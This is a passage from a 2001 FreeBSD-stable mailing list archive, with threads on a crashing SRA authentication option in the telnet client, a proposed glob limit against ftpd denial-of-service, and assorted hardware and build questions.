58 01 X-NIC-Handle: MP1229 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It looks like the implementation of SRA authentication in the telnet client is broken 4.3-BETA. I've just cvsup'd a new source tree as of about noon EST, and built a new world, so I should be working with the latest version of the client. I haven't seen mention of this on the list as of March 1st, so excuse me if this is a known issue. There are three problems with the implementation from what I can see: 1) If SRA authentication fails with the remote host, it doesn't fall back to standard telnet authentication. This isn't well documented, but I would expect that if it can't negotiate SRA with the remote host that it would try the usual method of authentication. 2) There's no way to escape from the telnet client while SRA authentication information is being gathered. The escape char (^]), ^c and ^d all fail to break out of the client. I've had to resort to a kill from another shell to get rid of it. 3) If you try and disable SRA authentication, either from the telnet> prompt or from the .telnetrc file, the client immediately cores. If I can provide any further useful information I'll be happy to. If anyone has a workaround or a fix for this I'd love to hear about it. Thanks all. Matt Pounsett ---------------------------------------------------------------------- ``Ford, there's an infinite number of monkeys outside who want to talk to us about this script for Hamlet that they've worked out.'' -- Arthur Dent in Douglas Adams' Hitchhiker's Guide to the Galaxy To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 14:57: 6 2001 Delivered-To: freebsd-stable@freebsd.org Received: from prism.flugsvamp.com (cb58709-a.mdsn1.wi.home.com [24.17.241.9]) by hub.freebsd.org (Postfix) with ESMTP id BEED437B718 for ; Sat, 17 Mar 2001 14:57:04 -0800 (PST) (envelope-from jlemon@flugsvamp.com) Received: (from jlemon@localhost) by prism.flugsvamp.com (8.11.0/8.11.0) id f2HMrZ008412; Sat, 17 Mar 2001 16:53:35 -0600 (CST) (envelope-from jlemon) Date: Sat, 17 Mar 2001 16:53:35 -0600 (CST) From: Jonathan Lemon Message-Id: <200103172253.f2HMrZ008412@prism.flugsvamp.com> To: dillon@earth.backplane.com, stable@freebsd.org Subject: Re: Not only ftpd's problem with ls */../*..... X-Newsgroups: local.mail.freebsd-stable In-Reply-To: References: Organization: Cc: Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article you write: > These glob patches to libc are totally inappropriate. If there is a > problem with DOS attacks in ftp, the solution is to add a simple API > call to set the limit (the default being unlimited) and then make ftp use > it. Yes, I'm considering the following: gl_flags |= GLOB_MAXFILES gl_match = filemax Since gl_match is only used as an input parameter at the moment. Another approach is to limit the number of bytes returned to ARG_MAX, but I somewhat dislike that; it makes more sense to me to specify the number of paths instead. -- Jonathan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 15:23:17 2001 Delivered-To: freebsd-stable@freebsd.org Received: from realtime.net (dragon.realtime.net [205.238.128.89]) by hub.freebsd.org (Postfix) with SMTP id 0385637B718 for ; Sat, 17 Mar 2001 15:23:14 -0800 (PST) (envelope-from brucegb@realtime.net) Received: from tigerfish2.my.domain ([205.238.179.173]) by realtime.net ; Sat, 17 Mar 2001 17:22:36 -0600 Received: (from brucegb@localhost) by tigerfish2.my.domain (8.11.3/8.11.1) id f2HNMv725492; Sat, 17 Mar 2001 17:22:57 -0600 (CST) (envelope-from brucegb) Date: Sat, 17 Mar 2001 17:22:57 -0600 From: Bruce Burden To: Colin Legendre , freebsd-stable@freebsd.org Subject: Re: KDE2.1 + Pthread errors Message-ID: <20010317172257.C25425@tigerfish2.my.domain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sudz@ns3g.com on Sat, Mar 17, 2001 at 03:35:43PM -0500 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > path -Wl,/usr/local/lib -Wl,--rpath -Wl,/usr/X11R6/lib > /usr/X11R6/lib/libqt2-mt.so: undefined reference to `pthread_attr_destroy' > /usr/X11R6/lib/libqt2-mt.so: undefined reference to `pthread_create' > Append "-pthread" to LIBS, CXX and CFLAGS in your /etc/make.conf file. Then remember to remove them when you next buil a kernel, or things won't work... It seems the make file for X11/XFree86-4 is missing the "-pthread" flag in certain areas. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 15:36:37 2001 Delivered-To: freebsd-stable@freebsd.org Received: from xena.gsicomp.on.ca (cr677933-a.ktchnr1.on.wave.home.com [24.43.230.149]) by hub.freebsd.org (Postfix) with ESMTP id 3264D37B718 for ; Sat, 17 Mar 2001 15:36:35 -0800 (PST) (envelope-from matt@gsicomp.on.ca) Received: from hermes (hermes.gsicomp.on.ca [192.168.0.18]) by xena.gsicomp.on.ca (8.11.1/8.9.3) with SMTP id f2HNYhi79760; Sat, 17 Mar 2001 18:34:44 -0500 (EST) (envelope-from matt@gsicomp.on.ca) Message-ID: <000d01c0af3a$7bc3d710$1200a8c0@gsicomp.on.ca> From: "Matthew Emmerton" To: "Matt of the Long Red Hair" , References: Subject: Re: SRA auth implementation in telnet broken Date: Sat, 17 Mar 2001 18:32:07 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > It looks like the implementation of SRA authentication in the telnet client is > broken 4.3-BETA. What is SRA? Is it anything similar to what is implemented with Stanford's SRP? -- Matt Emmerton To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 15:42:46 2001 Delivered-To: freebsd-stable@freebsd.org Received: from vimfuego.saarinen.org (saarinen.org [203.79.82.14]) by hub.freebsd.org (Postfix) with ESMTP id 57D9737B719 for ; Sat, 17 Mar 2001 15:42:44 -0800 (PST) (envelope-from juha@saarinen.org) Received: from dendennis.saarinen.org ([192.168.1.2] helo=DENDENNIS) by vimfuego.saarinen.org with smtp (Exim 3.22 #1) id 14eQLA-0004Ms-00; Sun, 18 Mar 2001 11:42:32 +1200 From: "Juha Saarinen" To: "Matthew Emmerton" , "Matt of the Long Red Hair" , Subject: RE: SRA auth implementation in telnet broken Date: Sun, 18 Mar 2001 11:45:40 +1200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <000d01c0af3a$7bc3d710$1200a8c0@gsicomp.on.ca> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :: What is SRA? Is it anything similar to what is implemented with :: Stanford's :: SRP? RSA perhaps? -- Juha To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 16: 7: 4 2001 Delivered-To: freebsd-stable@freebsd.org Received: from wyattearp.stanford.edu (wyattearp.Stanford.EDU [171.64.180.171]) by hub.freebsd.org (Postfix) with ESMTP id AB09F37B718 for ; Sat, 17 Mar 2001 16:07:02 -0800 (PST) (envelope-from richw@wyattearp.stanford.edu) Received: (from richw@localhost) by wyattearp.stanford.edu (8.9.3/8.9.3) id QAA52864; Sat, 17 Mar 2001 16:06:04 -0800 (PST) (envelope-from richw) Date: Sat, 17 Mar 2001 16:06:04 -0800 (PST) From: Rich Wales X-Sender: richw@wyattearp.stanford.edu To: "M. L. Dodson" Cc: freebsd-stable@freebsd.org Subject: Re: disk hard read error: anything to be done? In-Reply-To: <200103161406.f2GE6TR00415@histidine.utmb.edu> Message-ID: <20010317234514.52474.richw@wyattearp.stanford.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG M. L. (Bud) Dodson wrote: > ad0: HARD READ ERROR blk# 983151 status=59 error=40 > ad0: DMA problem fallback to PIO mode > Should I do anything about this . . . . Make sure the drive isn't getting too hot. Do you have adequate ven- tilation in the computer case? Are the fans working? Is there plenty of air flow around the drive? You might want to remount the drive upside down (with the circuit board on top); this may help keep the drive mechanism from overheating. You should always keep backups, of course, but you should =definitely= make sure you have a good backup of the data on =this= drive. Even if improving air flow makes the errors go away, the drive has given you fair warning that it's likely to die sooner rather than later. I had a drive myself, BTW, that was starting to give hard errors a few months ago. I remounted it upside down, with more space around it, and added another fan, and (touch wood!) I haven't had any more errors from this drive for about three months now. Rich Wales richw@webcom.com http://www.webcom.com/richw/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 16: 8: 6 2001 Delivered-To: freebsd-stable@freebsd.org Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by hub.freebsd.org (Postfix) with ESMTP id D7E2937B71A for ; Sat, 17 Mar 2001 16:08:02 -0800 (PST) (envelope-from phil@tinsleyviaduct.com) Received: from topdeck.tinsleyviaduct.com ([62.49.246.82] helo=topdeck) by anchor-post-30.mail.demon.net with esmtp (Exim 2.12 #1) id 14eQjp-0000LY-0U for freebsd-stable@freebsd.org; Sun, 18 Mar 2001 00:08:02 +0000 Received: from phil by topdeck with local (Exim 3.12 #1 (Debian)) id 14eQVe-0001Ip-00; Sat, 17 Mar 2001 23:53:22 +0000 Date: Sat, 17 Mar 2001 23:53:22 +0000 From: Phil Reynolds To: freebsd-stable@freebsd.org Subject: NatSemi network cards Message-ID: <20010317235322.A4991@tinsleyviaduct.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Although my FreeBSD box at the moment is using a card which is a PCI NE2000 type (RTL8029 chip), I upgraded to a NetGear FA310 in my main Linux box some time ago. I was planning to make this DEC Tulip compatible card my standard, but I discovered that NetGear have replaced this card with the FA311 which is a National Semiconductor compatible (natsemi module in Linux 2.4). I have not been able to find any reference to this card in any compatibility documentation for FreeBSD. Is it supported by 4.2, and if not, will 4.3 support it? Any advice would be appreciated, although I have to say that performance with the RTL8029 card in FreeBSD is much better than in Linux :-). -- Phil Reynolds o ____ Internet: phil@tinsleyviaduct.com |L_ \ / Web: http://www.tinsleyviaduct.com/phil/ (_)- \/ Waltham 67, Emley Moor 69, Droitwich 79, Windows 95 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 16:19:45 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mass.dis.org (mass.dis.org [216.240.45.41]) by hub.freebsd.org (Postfix) with ESMTP id B05AE37B718 for ; Sat, 17 Mar 2001 16:19:43 -0800 (PST) (envelope-from msmith@mass.dis.org) Received: from mass.dis.org (localhost [127.0.0.1]) by mass.dis.org (8.11.2/8.11.2) with ESMTP id f2I0M2U03081; Sat, 17 Mar 2001 16:22:03 -0800 (PST) (envelope-from msmith@mass.dis.org) Message-Id: <200103180022.f2I0M2U03081@mass.dis.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: Phil Reynolds Cc: freebsd-stable@freebsd.org Subject: Re: NatSemi network cards In-reply-to: Your message of "Sat, 17 Mar 2001 23:53:22 GMT." <20010317235322.A4991@tinsleyviaduct.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 17 Mar 2001 16:22:02 -0800 From: Mike Smith Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I have not been able to find any reference to this card in any compatibility > documentation for FreeBSD. Is it supported by 4.2, and if not, will 4.3 > support it? man 4 sis See also HARDWARE.TXT, which explicitly lists this card. -- ... every activity meets with opposition, everyone who acts has his rivals and unfortunately opponents also. But not because people want to be opponents, rather because the tasks and relationships force people to take different points of view. [Dr. Fritz Todt] V I C T O R Y N O T V E N G E A N C E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 16:27:47 2001 Delivered-To: freebsd-stable@freebsd.org Received: from earth.backplane.com (earth-nat-cw.backplane.com [208.161.114.67]) by hub.freebsd.org (Postfix) with ESMTP id 874F137B718 for ; Sat, 17 Mar 2001 16:27:45 -0800 (PST) (envelope-from dillon@earth.backplane.com) Received: (from dillon@localhost) by earth.backplane.com (8.11.2/8.9.3) id f2I0RSn96769; Sat, 17 Mar 2001 16:27:28 -0800 (PST) (envelope-from dillon) Date: Sat, 17 Mar 2001 16:27:28 -0800 (PST) From: Matt Dillon Message-Id: <200103180027.f2I0RSn96769@earth.backplane.com> To: Jonathan Lemon Cc: stable@freebsd.org Subject: Re: Not only ftpd's problem with ls */../*..... References: <200103172253.f2HMrZ008412@prism.flugsvamp.com> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :Yes, I'm considering the following: : : gl_flags |= GLOB_MAXFILES : gl_match = filemax : :Since gl_match is only used as an input parameter at the moment. :Another approach is to limit the number of bytes returned to ARG_MAX, :but I somewhat dislike that; it makes more sense to me to specify the :number of paths instead. :-- :Jonathan Hmm. Well, I like the idea of adding a flag to glob_t->flags but I would prefer not to add another element to the glob_t structure that would make it incompatible with existing programs. Remember the mess changing FILE caused. How about a combination of glob_t->flags and a global limit that can be set with a new api call, setgloblimit()? Or perhaps even just have the setgloblimit() API call and don't even bother with a new flag. int setgloblimit(int) Set the maximum number of (bytes? entries?) that will be allocated to fullfill a globing call. The previous setting is returned. A value of -1 indicates unlimited. The default is unlimited. Just having a plain old setgloblimit() call with nothing else (no flags, etc...) would be the most compatible solution. Remember when csh had an arbitrarily limit on command line length? Things like 'foreach i ( `find . -type f` )' would fail arbitrarily. Tcsh fixed that problem. Whatever we do, we do not want to reintroduce this same sort of problem in other programs (whether shells do their own globing or not). -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 17: 6: 8 2001 Delivered-To: freebsd-stable@freebsd.org Received: from aeon.conundrum.com (aeon.conundrum.com [216.191.219.140]) by hub.freebsd.org (Postfix) with ESMTP id 2E42137B718 for ; Sat, 17 Mar 2001 17:06:04 -0800 (PST) (envelope-from mattp@conundrum.com) Received: from smtp.conundrum.com (smtp.conundrum.com [216.191.219.134]) by aeon.conundrum.com (8.9.3/8.9.2) with ESMTP id UAA19683; Sat, 17 Mar 2001 20:05:54 -0500 (EST) (envelope-from mattp@conundrum.com) Date: Sat, 17 Mar 2001 20:05:54 -0500 (EST) From: Matt of the Long Red Hair To: Juha Saarinen Cc: Matthew Emmerton , freebsd-stable@FreeBSD.ORG Subject: RE: SRA auth implementation in telnet broken In-Reply-To: Message-ID: X-URL: http://www.conundrum.com/~mattp/ X-PGP-Fingerprint: 40 E8 24 BC C1 98 00 F2 56 2F F6 7B 36 34 58 01 X-NIC-Handle: MP1229 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 18 Mar 2001, Juha Saarinen wrote: > :: What is SRA? Is it anything similar to what is implemented with > :: Stanford's > :: SRP? > > RSA perhaps? Not according to the client: % telnet shadow Trying 10.0.0.10... Connected to shadow Escape character is '^]'. Trying SRA secure login: User (mattp): And then from telnet's internal help: telnet> auth disable ? auth disable 'type' Where 'type' is one of: NULL SRA I really have no idea what it is... just that it's there, and renders the client useless. ---------------------------------------------------------------------- ``Life moves pretty fast. If you don't stop and look around once in a while, you could miss it.'' -- Ferris Bueller To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 17:11:52 2001 Delivered-To: freebsd-stable@freebsd.org Received: from vimfuego.saarinen.org (saarinen.org [203.79.82.14]) by hub.freebsd.org (Postfix) with ESMTP id B529E37B718 for ; Sat, 17 Mar 2001 17:11:49 -0800 (PST) (envelope-from juha@saarinen.org) Received: from dendennis.saarinen.org ([192.168.1.2] helo=DENDENNIS) by vimfuego.saarinen.org with smtp (Exim 3.22 #1) id 14eRjQ-0004PR-00; Sun, 18 Mar 2001 13:11:40 +1200 From: "Juha Saarinen" To: "Matt of the Long Red Hair" Cc: "Matthew Emmerton" , Subject: RE: SRA auth implementation in telnet broken Date: Sun, 18 Mar 2001 13:14:48 +1200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :: Not according to the client: :: :: % telnet shadow :: Trying 10.0.0.10... :: Connected to shadow :: Escape character is '^]'. :: Trying SRA secure login: :: User (mattp): :: :: And then from telnet's internal help: :: :: telnet> auth disable ? :: auth disable 'type' :: Where 'type' is one of: :: NULL :: SRA :: :: :: I really have no idea what it is... just that it's there, and renders the :: client useless. You're right: telnet> auth disable ? auth disable 'type' Where 'type' is one of: NULL KERBEROS_V4 SRA telnet> auth disable SRA Segmentation fault (core dumped) No mention of SRA in the man page ... hope it's not the Somali Rifle Association or something ;-) Oh I see... it's the Secure RPC Authentication thingy. ftp://ftp.cerias.purdue.edu/pub/tools/unix/netutils/sra/sra.README -- Juha To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 17:15:52 2001 Delivered-To: freebsd-stable@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 96D1437B719 for ; Sat, 17 Mar 2001 17:15:50 -0800 (PST) (envelope-from jdp@wall.polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.11.1/8.11.1) with ESMTP id f2I1FdV34567; Sat, 17 Mar 2001 17:15:39 -0800 (PST) (envelope-from jdp@wall.polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.11.3/8.11.0) id f2I1FbV00510; Sat, 17 Mar 2001 17:15:37 -0800 (PST) (envelope-from jdp) Date: Sat, 17 Mar 2001 17:15:37 -0800 (PST) Message-Id: <200103180115.f2I1FbV00510@vashon.polstra.com> To: stable@freebsd.org From: John Polstra Reply-To: stable@freebsd.org Cc: erwan@netvalue.com Subject: Re: How to burn ISO? (was New 4.3 BETA (BETA2)... ) In-Reply-To: <3AB22A91.AD2A82D6@netvalue.com> References: <3AB22A91.AD2A82D6@netvalue.com> Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <3AB22A91.AD2A82D6@netvalue.com>, Erwan Arzur wrote: > > /usr/share/example/worm/burncd.sh is your friend. Correction: /usr/share/examples/worm/makecdfs.sh The burncd.sh script was removed last September. The command it used (wormcontrol) doesn't even exist any more. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 17:34:44 2001 Delivered-To: freebsd-stable@freebsd.org Received: from www.jetnet.co.uk (www.jetnet.co.uk [62.172.71.4]) by hub.freebsd.org (Postfix) with ESMTP id A6B6937B71A for ; Sat, 17 Mar 2001 17:34:40 -0800 (PST) (envelope-from dreid@jetnet.co.uk) Received: from godzilla (host217-32-124-131.hg.mdip.bt.net [217.32.124.131]) (authenticated) by www.jetnet.co.uk (8.11.1/8.11.1) with ESMTP id f2I1YcB10725 for ; Sun, 18 Mar 2001 01:34:39 GMT Message-ID: <009d01c0af4a$ae37d830$011aa8c0@godzilla> From: "David Reid" To: Subject: pthread_setschedparam Date: Sun, 18 Mar 2001 01:28:01 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Does this actually work in the current code? david To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 17:38:45 2001 Delivered-To: freebsd-stable@freebsd.org Received: from turtle.looksharp.net (cc360882-a.strhg1.mi.home.com [24.2.221.22]) by hub.freebsd.org (Postfix) with ESMTP id F3A0937B718 for ; Sat, 17 Mar 2001 17:38:42 -0800 (PST) (envelope-from bandix@looksharp.net) Received: from localhost (bandix@localhost) by turtle.looksharp.net (8.11.1/8.11.1) with ESMTP id f2I1hDO68354; Sat, 17 Mar 2001 20:43:13 -0500 (EST) (envelope-from bandix@looksharp.net) Date: Sat, 17 Mar 2001 20:43:13 -0500 (EST) From: "Brandon D. Valentine" To: Eric M Logan Cc: "freebsd-stable@FreeBSD.ORG" Subject: Re: refresh rates in FreeBSD 4.2 w/ xfree86 4.02 In-Reply-To: <3AB3C25D.B048EC19@yahoo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 17 Mar 2001, Eric M Logan wrote: >I'm sorry for this newbie question but can anyone tell me how to find >out what refreshrate one is currently in and also how to go about >changing it. I'm currently running FreeBSD 4.2 stable, xfree86 4.02, >and Blackbox 0.61. Thanks. Try xdpyinfo(1). For more information: http://www.xfree86.org/4.0.2/xdpyinfo.1.html -- Brandon D. Valentine "Few things are harder to put up with than the annoyance of a good example." -- Mark Twain, Pudd'nhead Wilson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 17:39:59 2001 Delivered-To: freebsd-stable@freebsd.org Received: from xena.gsicomp.on.ca (cr677933-a.ktchnr1.on.wave.home.com [24.43.230.149]) by hub.freebsd.org (Postfix) with ESMTP id E0E0737B719 for ; Sat, 17 Mar 2001 17:39:55 -0800 (PST) (envelope-from matt@gsicomp.on.ca) Received: from hermes (hermes.gsicomp.on.ca [192.168.0.18]) by xena.gsicomp.on.ca (8.11.1/8.9.3) with SMTP id f2I1bri79992; Sat, 17 Mar 2001 20:37:53 -0500 (EST) (envelope-from matt@gsicomp.on.ca) Message-ID: <006e01c0af4b$b0f6dbb0$1200a8c0@gsicomp.on.ca> From: "Matthew Emmerton" To: "Juha Saarinen" , "Matt of the Long Red Hair" Cc: References: Subject: What about SRP auth for telnet and ftp? [was Re: SRA auth ] Date: Sat, 17 Mar 2001 20:35:18 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Oh I see... it's the Secure RPC Authentication thingy. > ftp://ftp.cerias.purdue.edu/pub/tools/unix/netutils/sra/sra.README I've been working with Stanford's SRP stuff lately, and have had the passing thought of adding support for it to the stock ftp and telnet daemons that FreeBSD ships with. (Mainly because I was quite annoyed at the number of things I had to fix with the telnetd that ships with the SRP distribution.) You can read more about SRP at http://www-cs-students.stanford.edu/~tjw/srp, or in RFC 2945. Would anyone be interested in seeing SRP functionality added? -- Matt Emmerton To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 17:45: 6 2001 Delivered-To: freebsd-stable@freebsd.org Received: from aeon.conundrum.com (aeon.conundrum.com [216.191.219.140]) by hub.freebsd.org (Postfix) with ESMTP id 2D94837B718 for ; Sat, 17 Mar 2001 17:45:04 -0800 (PST) (envelope-from mattp@conundrum.com) Received: from smtp.conundrum.com (smtp.conundrum.com [216.191.219.134]) by aeon.conundrum.com (8.9.3/8.9.2) with ESMTP id UAA31244; Sat, 17 Mar 2001 20:44:57 -0500 (EST) (envelope-from mattp@conundrum.com) Date: Sat, 17 Mar 2001 20:44:57 -0500 (EST) From: Matt of the Long Red Hair To: Matthew Emmerton Cc: Juha Saarinen , freebsd-stable@FreeBSD.ORG Subject: Re: What about SRP auth for telnet and ftp? [was Re: SRA auth ] In-Reply-To: <006e01c0af4b$b0f6dbb0$1200a8c0@gsicomp.on.ca> Message-ID: X-URL: http://www.conundrum.com/~mattp/ X-PGP-Fingerprint: 40 E8 24 BC C1 98 00 F2 56 2F F6 7B 36 34 58 01 X-NIC-Handle: MP1229 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 17 Mar 2001, Matthew Emmerton wrote: > > Oh I see... it's the Secure RPC Authentication thingy. > > ftp://ftp.cerias.purdue.edu/pub/tools/unix/netutils/sra/sra.README > > I've been working with Stanford's SRP stuff lately, and have had the passing > thought of adding support for it to the stock ftp and telnet daemons that > FreeBSD ships with. (Mainly because I was quite annoyed at the number of > things I had to fix with the telnetd that ships with the SRP distribution.) I haven't anything other than my own suspicions to back me up on this, but I suspect whoever added SRP to the stock telnet client has probably also added it to the telnet daemon. ---------------------------------------------------------------------- ``From broadband to print, wireless to cable, we now have a myriad of forums in which to be left speechless.'' -- James Poniewozik Salon Media To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 17:47:15 2001 Delivered-To: freebsd-stable@freebsd.org Received: from vimfuego.saarinen.org (saarinen.org [203.79.82.14]) by hub.freebsd.org (Postfix) with ESMTP id C5C7937B719 for ; Sat, 17 Mar 2001 17:47:12 -0800 (PST) (envelope-from juha@saarinen.org) Received: from dendennis.saarinen.org ([192.168.1.2] helo=DENDENNIS) by vimfuego.saarinen.org with smtp (Exim 3.22 #1) id 14eSHd-0004Qw-03; Sun, 18 Mar 2001 13:47:01 +1200 From: "Juha Saarinen" To: "Matthew Emmerton" , "Matt of the Long Red Hair" Cc: Subject: RE: What about SRP auth for telnet and ftp? [was Re: SRA auth ] Date: Sun, 18 Mar 2001 13:50:09 +1200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <006e01c0af4b$b0f6dbb0$1200a8c0@gsicomp.on.ca> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :: Would anyone be interested in seeing SRP functionality added? If it's easier to use than SSH for our dearly beloved GUI-only users... yes, definitively. -- Juha To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sat Mar 17 18:11:44 2001 Delivered-To: freebsd-stable@freebsd.org Received: from xena.gsicomp.on.ca (cr677933-a.ktchnr1.on.wave.home.com [24.43.230.149]) by hub.freebsd.org (Postfix) with ESMTP id 19CD537B718 for ; Sat, 17 Mar 2001 18:11:41 -0800 (PST) (envelope-from matt@gsicomp.on.ca) Received: from hermes (hermes.gsicomp.on.ca [192.168.0.18]) by xena.gsicomp.on.ca (8.11.1/8.9.3) with SMTP id f2I29oi80049; Sat, 17 Mar 2001 21:09:51 -0500 (EST) (envelope-from matt@gsicomp.on.ca) Message-ID: <008801c0af50$291f8570$1200a8c0@gsicomp.on.ca> From: "Matthew Emmerton" To: "Matt of the Long Red Hair" Cc: References: Subject: Re: What about SRP auth for telnet and ftp? [was Re: SRA auth ] Date: Sat, 17 Mar 2001 21:07:16 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Sat, 17 Mar 2001, Matthew Emmerton wrote: > > > > Oh I see... it's the Secure RPC Authentication thingy. > > > ftp://ftp.cerias.purdue.edu/pub/tools/unix/netutils/sra/sra.README > > > > I've been working with Stanford's SRP stuff lately, and have had the passing > > thought of adding support for it to the stock ftp and telnet daemons that > > FreeBSD ships with. (Mainly because I was quite annoyed at the number of > > things I had to fix with the telnetd that ships with the SRP distribution.) > > I haven't anything other than my own suspicions to back me up on this, but I > suspect whoever added SRP to the stock telnet client has probably also added > it to the telnet daemon. I think I've confused you. SRA support exists in the 